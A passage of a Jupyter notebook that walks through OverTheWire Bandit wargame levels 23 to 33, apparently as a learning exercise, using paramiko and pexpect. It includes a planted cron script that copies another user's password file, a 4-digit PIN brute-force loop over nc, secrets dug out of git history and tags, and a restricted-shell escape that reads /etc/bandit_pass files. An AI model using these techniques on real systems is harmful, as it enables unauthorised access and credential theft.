	timeout -s 9 60 ./$i
	rm -f ./$i
    fi
done



In [13]:
# Create a bash script which writes the password to a file undet /tmp
stdin, stdout, stderr = client.exec_command('echo cat /etc/bandit_pass/bandit24  \> /tmp/myfirstresult.txt > /var/spool/bandit24/myfirstscript.sh && chmod +x /var/spool/bandit24/myfirstscript.sh')
In [14]:
#Wait for a while, and the password is ready to be read
stdin, stdout, stderr = client.exec_command('cat /tmp/myfirstresult.txt')

result = stdout.read().decode('ascii')
# print(f'Password for Level 24 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 24 --> Level 25

- Commands you may need to solve this level

  • python library to be used
    • pxssh
In [1]:
#I use pexpect spawn in this excercise, which is not supported on WIndows as of Feb 2019
from pexpect import pxssh

USER = 'bandit24'
PORT = 2220
PASS_FILE = 'PASS25.txt'

with open('PASS24.txt', 'r') as f:
    PASS = f.read().strip()

s = pxssh.pxssh()
s.login('bandit.labs.overthewire.org', USER, PASS, port=PORT)
Out[1]:
True
In [3]:
import time

start = time.time()

for pin in range(0, 10001):
    s.sendline(f'echo {PASS} {pin:04} | nc localhost 30002')
    if pin % 300 == 0:
        print(f'...trying: {pin}')
    try:
        s.expect(r'by a space\.\r\n([a-zA-Z].*)')
        if 'Wrong' not in s.after.decode('ascii'):
            data = s.match.groups()[0]
            #print(s.after.decode('ascii'))
            print(f'PIN found - {pin}. exiting...')
            break
        s.send(chr(3))
    except:
        print('something went wrong: ' + sys.exc_info()[0], s.before)
        print('exiting...')
        break

result = data.decode('ascii').split()[-2]
# print(f'Password for Level 25 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

s.logout()

print(f'Time taken: {time.time() - start}')
...trying: 0
...trying: 300
...trying: 600
...trying: 900
...trying: 1200
...trying: 1500
...trying: 1800
...trying: 2100
...trying: 2400
...trying: 2700
...trying: 3000
...trying: 3300
...trying: 3600
...trying: 3900
...trying: 4200
...trying: 4500
...trying: 4800
...trying: 5100
...trying: 5400
PIN found - 5533. exiting...
Time taken: 3561.7508442401886

Bandit Level 25 --> Level 26

  • Commands you may need to solve this level
    • ssh, cat, more, vi, ls, id, pwd
  • python library to be used
    • paramiko
In [ ]:
import paramiko

USER = 'bandit25'
PORT = 2220
PASS_FILE = 'PASS26.txt'

with open('PASS25.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [5]:
# Let's see what files are there
stdin, stdout, stderr = client.exec_command('ls -al')
print(stdout.read().decode('ascii'))
total 32
drwxr-xr-x  2 root     root     4096 Feb  4 22:02 .
drwxr-xr-x 41 root     root     4096 Oct 16 14:00 ..
-rw-r-----  1 bandit25 bandit25   33 Feb  4 22:02 .bandit24.password
-r--------  1 bandit25 bandit25 1679 Oct 16 14:00 bandit26.sshkey
-rw-r--r--  1 root     root      220 May 15  2017 .bash_logout
-rw-r--r--  1 root     root     3526 May 15  2017 .bashrc
-rw-r-----  1 bandit25 bandit25    4 Feb  4 22:02 .pin
-rw-r--r--  1 root     root      675 May 15  2017 .profile

In [6]:
# copy sshkey
stdin, stdout, stderr = client.exec_command('cat bandit26.sshkey')

result = stdout.read().decode('ascii')
print('Private key is saved for Level 14: Starting from {}'.format(result.split("\n")[1][:5]))

with open(PASS_FILE, 'w') as f:
    f.write(result)
Private key is saved for Level 14: Starting from MIIEp
In [7]:
#Before move to the next step, let's see what bandit26 has for login shell
stdin, stdout, stderr = client.exec_command('cat /etc/passwd | grep bandit26')
print(stdout.read().decode('ascii'))
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext

In [8]:
#So, the /usr/bin/showtext will be executed if bandit26 logs in. Let's see the content.
stdin, stdout, stderr = client.exec_command('cat /usr/bin/showtext')
print(stdout.read().decode('ascii'))
#!/bin/sh

export TERM=linux

more ~/text.txt
exit 0

Bandit Level 26 --> Level 27

  • Commands you may need to solve this level
    • ls
  • python library to be used
    • pexpect
In [9]:
#Let's see what happens when I login as bandit26
import pexpect

USER = 'bandit26'
PORT = 2220
PASS_FILE = 'PASS27.txt'

out = pexpect.run(f'ssh -i "PASS26.txt" {USER}@bandit.labs.overthewire.org -p {PORT}', encoding='utf-8')
print('\n'.join(out.split('\n')[-10:]))    #display last 10 rows of prompt
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

















bandit26@bandit.labs.overthewire.org's password: 

From here on, I need to use a terminal

  • Adjust the height of the terminal so that we can ge the pagination
  • After we get --more--, set variable shell to /bin/bash
  • Then, we just need to use prepared tool to read the password poc

Bandit Level 27 --> Level 28

  • Commands you may need to solve this level
    • git
  • python library to be used
    • pexpect, pxssh
In [10]:
#I use pexpect spawn in this excercise, which is not supported on WIndows as of Feb 2019
from pexpect import pxssh

USER = 'bandit27'
PORT = 2220
PASS_FILE = 'PASS28.txt'

with open('PASS27.txt', 'r') as f:
    PASS = f.read().strip()

s = pxssh.pxssh()
s.login('bandit.labs.overthewire.org', USER, PASS, port=PORT)
Out[10]:
True
In [11]:
#Check permission if I can check the git repository directly
s.sendline('ls -l /home/bandit27-git')
s.prompt()
print(s.before.decode('ascii'))
#print(stdout.read().decode('ascii'), stderr.read().decode('ascii'))
ls -l /home/bandit27-git

ls: cannot open directory '/home/bandit27-git': Permission denied


In [13]:
#Create tempoary directory to clone this git
s.sendline('mkdir /tmp/bandit27-git-temp12345 && cd $_ && git clone ssh://bandit27-git@localhost/home/bandit27-git/repo')
s.expect(r'.*yes.*')  # for first time only
s.sendline('yes\n')
print('sent')
s.expect(r'.*assword.*')
s.sendline(PASS)
s.prompt()
print(s.before)
sent
b'\r\nremote: Counting objects: 3, done.\x1b[K\r\nremote: Compressing objects:  50% (1/2)   \x1b[K\rremote: Compressing objects: 100% (2/2)   \x1b[K\rremote: Compressing objects: 100% (2/2), done.\x1b[K\r\nremote: Total 3 (delta 0), reused 0 (delta 0)\x1b[K\r\nReceiving objects:  33% (1/3)   \rReceiving objects:  66% (2/3)   \rReceiving objects: 100% (3/3)   \rReceiving objects: 100% (3/3), done.\r\n'
In [14]:
#Let's see what is inside the repository.
s.sendline('ls -R ./repo')
s.prompt()
print(s.before.decode('ascii'))
ls -R ./repo

./repo:

README


In [15]:
#Store the key into pass file
s.sendline('cat ./repo/README')
s.prompt()

data = s.before
result = data.decode('ascii').split()[-1]
# print(f'Password for Level 28 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

# house keeping to clean the temporary files
s.sendline('cd && rm -rf /tmp/bandit27-git-tmp12345')
s.prompt()

s.logout()

Bandit Level 28 --> Level 29

  • Commands you may need to solve this level
    • git
  • python library to be used
    • pexpect, pxssh
In [16]:
#First part to clone the git is almost the same as previous excercise
#I use pexpect spawn in this excercise, which is not supported on WIndows as of Feb 2019
from pexpect import pxssh

USER = 'bandit28'
PORT = 2220
PASS_FILE = 'PASS29.txt'

with open('PASS28.txt', 'r') as f:
    PASS = f.read().strip()

s = pxssh.pxssh()
s.login('bandit.labs.overthewire.org', USER, PASS, port=PORT)

#Create tempoary directory to clone this git
s.sendline('mkdir /tmp/bandit28-git-20190201 && cd $_ && git clone ssh://bandit28-git@localhost/home/bandit28-git/repo')
s.expect(r'.*yes.*')  # for first time only
s.sendline('yes\n')
print('sent')
s.expect(r'.*assword.*')
s.sendline(PASS)
s.prompt()
print(s.before.decode('ascii'))
sent

remote: Counting objects: 9, done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 9 (delta 2), reused 0 (delta 0)
Receiving objects: 100% (9/9), done.
Resolving deltas: 100% (2/2), done.

In [17]:
#Let's see what is inside the repository.
s.sendline('ls -R ./repo')
s.prompt()
print(s.before.decode('ascii'))
ls -R ./repo

./repo:

README.md


In [18]:
#It looks the same as before, let's check the README
s.sendline('cat ./repo/README.md')
s.prompt()

print(s.before.decode('ascii'))
cat ./repo/README.md

# Bandit Notes

Some notes for level29 of bandit.



## credentials



- username: bandit29

- password: xxxxxxxxxx




In [19]:
#Most likely the password was edited. Let's check the previous version.
s.sendline('cd repo && git log --oneline')
s.prompt()

print(s.before.decode('ascii'))
cd repo && git log --oneline

073c27c fix info leak

186a103 add missing data

b67405d initial commit of README.md

>
In [20]:
#version 186a103... seems to have the password. Check the file contents and store the password in the pass file.
#As the file has ANSI escape sequence, I need to remove them
import re

s.sendline('git show 186a103:README.md')
s.prompt()

data = s.before.decode('ascii')
ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]') #https://stackoverflow.com/questions/14693701/how-can-i-remove-the-ansi-escape-sequences-from-a-string-in-python
data = ansi_escape.sub('', data)

for line in data.split('\n'):
    if 'password' in line:
        result = line.split()[-1]

# print(f'Password for Level 28 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

# house keeping to clean the temporary files
s.sendline('cd && rm -rf /tmp/bandit28-git-20190201')
s.prompt()

s.close()

Bandit Level 29 --> Level 30

  • Commands you may need to solve this level
    • git
  • python library to be used
    • pexpect, pxssh
In [21]:
#First part to clone the git is almost the same as previous excercises
#I use pexpect spawn in this excercise, which is not supported on WIndows as of Feb 2019
from pexpect import pxssh

USER = 'bandit29'
PORT = 2220
PASS_FILE = 'PASS30.txt'

with open('PASS29.txt', 'r') as f:
    PASS = f.read().strip()

s = pxssh.pxssh()
s.login('bandit.labs.overthewire.org', USER, PASS, port=PORT)

#Create tempoary directory to clone this git
s.sendline('mkdir /tmp/bandit29-git-20190201 && cd $_ && git clone ssh://bandit29-git@localhost/home/bandit29-git/repo')
s.expect(r'.*yes.*')  # for first time only
s.sendline('yes\n')
print('sent')
s.expect(r'.*assword.*')
s.sendline(PASS)
s.prompt()
print(s.before.decode('ascii'))
sent

remote: Counting objects: 16, done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 16 (delta 2), reused 0 (delta 0)
Receiving objects: 100% (16/16), done.
Resolving deltas: 100% (2/2), done.

In [22]:
#Let's see what is inside the repository.
s.sendline('ls -R ./repo')
s.prompt()
print(s.before.decode('ascii'))
ls -R ./repo

./repo:

README.md


In [23]:
#It looks the same as before, let's check the README
s.sendline('cat ./repo/README.md')
s.prompt()

print(s.before.decode('ascii'))
cat ./repo/README.md

# Bandit Notes

Some notes for bandit30 of bandit.



## credentials



- username: bandit30

- password: <no passwords in production!>




In [24]:
#Most likely the password was edited. Let's check the previous version.
s.sendline('cd repo && git log --oneline')
s.prompt()

print(s.before.decode('ascii'))
cd repo && git log --oneline

84abedc fix username

9b19e7d initial commit of README.md

>
In [25]:
s.sendline('git show 9b19e7d:README.md')
s.prompt()

print(s.before.decode('ascii'))
git show 9b19e7d:README.md

# Bandit Notes

Some notes for bandit30 of bandit.



## credentials



- username: bandit29

- password: <no passwords in production!>



>
In [26]:
s.sendline('git branch -r')
s.prompt()

print(s.before.decode('ascii'))
git branch -r

  origin/HEAD -> origin/master

  origin/dev

  origin/master

  origin/sploits-dev


In [27]:
#Create tempoary directory to clone this git branch origin/dev
s.sendline('mkdir /tmp/bandit29-git-20190201-dev && cd $_ && git clone -b dev ssh://bandit29-git@localhost/home/bandit29-git/repo')
s.expect(r'.*yes.*')  # for first time only
s.sendline('yes\n')
print('sent')
s.expect(r'.*assword.*')
s.sendline(PASS)
s.prompt()
print(s.before.decode('ascii'))
sent

remote: Counting objects: 16, done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 16 (delta 2), reused 0 (delta 0)
Receiving objects: 100% (16/16), done.
Resolving deltas: 100% (2/2), done.

In [28]:
#Let's see what is inside the repository.
s.sendline('ls -R ./repo')
s.prompt()
print(s.before.decode('ascii'))
ls -R ./repo

./repo:

code  README.md



./repo/code:

gif2ascii.py


In [29]:
#It looks the same as before, let's check the README
s.sendline('cat ./repo/README.md')
s.prompt()

data = s.before.decode('ascii')
ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]') #https://stackoverflow.com/questions/14693701/how-can-i-remove-the-ansi-escape-sequences-from-a-string-in-python
data = ansi_escape.sub('', data)

for line in data.split('\n'):
    if 'password' in line:
        result = line.split()[-1]

# print(f'Password for Level 30 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

# house keeping to clean the temporary files
s.sendline('cd && rm -rf /tmp/bandit29-git-20190201')
s.sendline('cd && rm -rf /tmp/bandit29-git-20190201-dev')
s.prompt()

s.close()

Bandit Level 30 --> Level 31

  • Commands you may need to solve this level
    • git
  • python library to be used
    • pexpect, pxssh
In [30]:
#First part to clone the git is almost the same as previous excercises
#I use pexpect spawn in this excercise, which is not supported on WIndows as of Feb 2019
from pexpect import pxssh

USER = 'bandit30'
PORT = 2220
PASS_FILE = 'PASS31.txt'

with open('PASS30.txt', 'r') as f:
    PASS = f.read().strip()

s = pxssh.pxssh()
s.login('bandit.labs.overthewire.org', USER, PASS, port=PORT)

#Create tempoary directory to clone this git
s.sendline('mkdir /tmp/bandit30-git-20190201 && cd $_ && git clone ssh://bandit30-git@localhost/home/bandit30-git/repo')
s.expect(r'.*yes.*')  # for first time only
s.sendline('yes\n')
print('sent')
s.expect(r'.*assword.*')
s.sendline(PASS)
s.prompt()
print(s.before.decode('ascii'))
sent

remote: Counting objects: 4, done.
remote: Total 4 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (4/4), done.

In [31]:
#Let's see what is inside the repository.
s.sendline('ls -R ./repo')
s.prompt()
print(s.before.decode('ascii'))
ls -R ./repo

./repo:

README.md


In [32]:
#It looks the same as before, let's check the README
s.sendline('cat ./repo/README.md')
s.prompt()

print(s.before.decode('ascii'))
cat ./repo/README.md

just an epmty file... muahaha


In [33]:
#Most likely the password was edited. Let's check the previous version.
s.sendline('cd repo && git log --oneline')
s.prompt()

print(s.before.decode('ascii'))
cd repo && git log --oneline

3aa4c23 initial commit of README.md

>
In [34]:
s.sendline('git branch -r')
s.prompt()

print(s.before.decode('ascii'))
git branch -r

  origin/HEAD -> origin/master

  origin/master


In [35]:
#Let's see if there is any tags.
s.sendline('git show-ref')
s.prompt()
print(s.before.decode('ascii'))
git show-ref

3aa4c239f729b07deb99a52f125893e162daac9e refs/heads/master

3aa4c239f729b07deb99a52f125893e162daac9e refs/remotes/origin/HEAD

3aa4c239f729b07deb99a52f125893e162daac9e refs/remotes/origin/master

f17132340e8ee6c159e0a4a6bc6f80e1da3b1aea refs/tags/secret


In [36]:
#secret tag looks suspocious. Check the contents and store the password.
s.sendline('git show secret')
s.prompt()

data = s.before.decode('ascii')
ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]') #https://stackoverflow.com/questions/14693701/how-can-i-remove-the-ansi-escape-sequences-from-a-string-in-python
data = ansi_escape.sub('', data)

result = data.split()[-2]
# print(f'Password for Level 31 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

# house keeping to clean the temporary files
s.sendline('cd && rm -rf /tmp/bandit30-git-20190201')
s.prompt()

s.close()

Bandit Level 31 --> Level 32

  • Commands you may need to solve this level
    • git
  • python library to be used
    • pexpect, pxssh
In [37]:
#First part to clone the git is almost the same as previous excercises
#I use pexpect spawn in this excercise, which is not supported on WIndows as of Feb 2019
from pexpect import pxssh

USER = 'bandit31'
PORT = 2220
PASS_FILE = 'PASS32.txt'

with open('PASS31.txt', 'r') as f:
    PASS = f.read().strip()

s = pxssh.pxssh()
s.login('bandit.labs.overthewire.org', USER, PASS, port=PORT)

#Create tempoary directory to clone this git
s.sendline('mkdir /tmp/bandit31-git-20190202 && cd $_ && git clone ssh://bandit31-git@localhost/home/bandit31-git/repo')
s.expect(r'.*yes.*')  # for first time only
s.sendline('yes\n')
print('sent')
s.expect(r'.*assword.*')
s.sendline(PASS)
s.prompt()
print(s.before.decode('ascii'))
sent

remote: Counting objects: 4, done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 4 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (4/4), done.

In [38]:
#Let's see what is inside the repository.
s.sendline('ls -R ./repo')
s.prompt()
print(s.before.decode('ascii'))
ls -R ./repo

./repo:

README.md


In [39]:
#It looks the same as before, let's check the README
s.sendline('cat ./repo/README.md')
s.prompt()

print(s.before.decode('ascii'))
cat ./repo/README.md

This time your task is to push a file to the remote repository.



Details:

    File name: key.txt

    Content: 'May I come in?'

    Branch: master




In [40]:
#Let's create a file and push it to the remote repo
s.sendline('cd repo && echo May I come in? > key.txt && git add -f key.txt ')
s.prompt()
s.sendline('git commit -m oth')
s.prompt()
s.sendline('git push origin master')
s.expect(r'.*yes.*')  # for first time only
s.sendline('yes\n')
print('sent')
s.expect(r'.*assword.*')
s.sendline(PASS)
s.prompt()

#While sending data to the remote repo, there is a customization process. And it shows the password if validated.

data = s.before.decode('ascii')
ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]') #https://stackoverflow.com/questions/14693701/how-can-i-remove-the-ansi-escape-sequences-from-a-string-in-python
data = ansi_escape.sub('', data)

pass_flag = False
for line in data.split('\n'):
    if pass_flag:
        result = line.split()[-1]
        break
    else:
        if 'password' in line:
            pass_flag = True

# print(f'Password for Level 32 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

# house keeping to clean the temporary files
s.sendline('cd && rm -rf /tmp/bandit31-git-20190202')
s.prompt()

s.close()
sent

Bandit Level 32 --> Level 33

  • Commands you may need to solve this level
    • sh, man
  • python library to be used
    • pexpect, pxssh
In [41]:
#I use pexpect spawn in this excercise, which is not supported on WIndows as of Feb 2019

from IPython.display import display
from pexpect import pxssh

USER = 'bandit32'
PORT = 2220
PASS_FILE = 'PASS33.txt'

with open('PASS32.txt', 'r') as f:
    PASS = f.read().strip()

s = pxssh.pxssh()

original_prompt = s.PROMPT
prompt = r'>>|\$'
s.PROMPT = prompt
s.login('bandit.labs.overthewire.org', USER, PASS, port=PORT, auto_prompt_reset=False) # auto_prompt_reset is necessary because 'set' is not recognised
Out[41]:
True
In [42]:
#Let's see what we can do
s.sendline('ls -al')
s.prompt()
display(s.before)
s.sendline('cat /etc/bandit_pass/bandit32')
s.prompt()
display(s.before)
b'wargames.\r\n\r\n  Enjoy your stay!\r\n\r\nls -al\r\nsh: 1: LS: not found\r\n'
b' cat /etc/bandit_pass/bandit32\r\nsh: 1: CAT: not found\r\n'
In [43]:
#Assuming this uppercase shell takes all the arguments and execute it with UPPERCASE. What happen if I use special variable $0, which cannot be modified to UPPERCASE?
s.sendline('$0')
s.prompt()
s.expect(r'.*')
s.sendline('ls -al')
s.readline()
s.prompt()
print(s.before.decode('ascii'))
total 28

drwxr-xr-x  2 root     root     4096 Oct 16 14:00 .

drwxr-xr-x 41 root     root     4096 Oct 16 14:00 ..

-rw-r--r--  1 root     root      220 May 15  2017 .bash_logout

-rw-r--r--  1 root     root     3526 May 15  2017 .bashrc

-rw-r--r--  1 root     root      675 May 15  2017 .profile

-rwsr-x---  1 bandit33 bandit32 7556 Oct 16 14:00 uppershell


In [44]:
#And I'm already running bash as bandit33
s.expect(r'.*')
s.sendline('whoami')
s.readline()
s.prompt()
display(s.before.decode('ascii'))
'bandit33\r\n'
In [45]:
#Retrieve the password and store it
s.expect(r'.*')
s.sendline('cat /etc/bandit_pass/bandit33')
s.readline()
s.prompt()

result = s.before.decode('ascii')
# print(f'Password for Level 33 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

s.close()